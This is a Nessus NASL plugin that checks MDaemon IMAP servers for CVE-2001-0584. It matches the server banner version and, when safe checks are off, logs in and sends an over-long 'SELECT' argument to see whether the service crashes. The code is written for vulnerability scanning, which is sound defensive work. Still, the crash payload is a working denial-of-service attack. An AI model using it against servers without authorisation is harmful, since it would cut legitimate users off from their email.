# # This script was written by David Maciejak # based on work from # (C) Tenable Network Security # # Ref: # # This script is released under the GNU GPL v2 if(description) { script_id(14827); script_bugtraq_id(2508); script_version ("$Revision: 1.3 $"); script_cve_id("CVE-2001-0584"); name["english"] = "MDaemon imap server DoS(2)"; script_name(english:name["english"]); desc["english"] = " The remote host is running the MDaemon IMAP server. It is possible to crash the remote version of this software by by sending a too long argument to the 'SELECT' or 'EXAMINE' commands. This problem allows an attacker to make the remote service crash, thus preventing legitimate users from receiving e-mails. Solution : Upgrade to newest version of this software Risk factor : High"; script_description(english:desc["english"]); summary["english"] = "Crashes the remote imap server"; script_summary(english:summary["english"]); script_category(ACT_MIXED_ATTACK); script_copyright(english:"This script is Copyright (C) 2004 David Maciejak"); family["english"] = "Denial of Service"; family["francais"] = "Déni de service"; script_family(english:family["english"], francais:family["francais"]); script_dependencie("find_service.nes", "sendmail_expn.nasl"); script_require_ports("Services/imap", 143); exit(0); } # # The script code starts here # include("imap_func.inc"); port = get_kb_item("Services/imap"); if(!port)port = 143; acct = get_kb_item("imap/login"); pass = get_kb_item("imap/password"); safe_checks = 0; if((acct == "")||(pass == ""))safe_checks = 1; if ( safe_checks() ) safe_checks = 1; if ( safe_checks ) { banner = get_imap_banner ( port:port ); if ( ! banner ) exit(0); #* OK company.mail IMAP4rev1 MDaemon 3.5.6 ready if(ereg(pattern:".* IMAP4.* MDaemon ([0-5]\.|6\.[0-7]\.) ready", string:banner)) security_hole(port); exit(0); } if(get_port_state(port)) { soc = open_sock_tcp(port); if(soc) { banner = recv_line(socket:soc, length:4096); if ("MDaemon" >!< banner ) exit(0); #need a valid account to test this issue s = string("? LOGIN ", acct, " ", pass, "\r\n"); send(socket:soc, data:s); d = recv_line(socket:soc, length:4096); s = string("? SELECT ", crap(260), "\r\n"); send(socket:soc, data:s); d = recv_line(socket:soc, length:4096); close(soc); soc2 = open_sock_tcp(port); if(!soc2)security_hole(port); else close(soc2); } }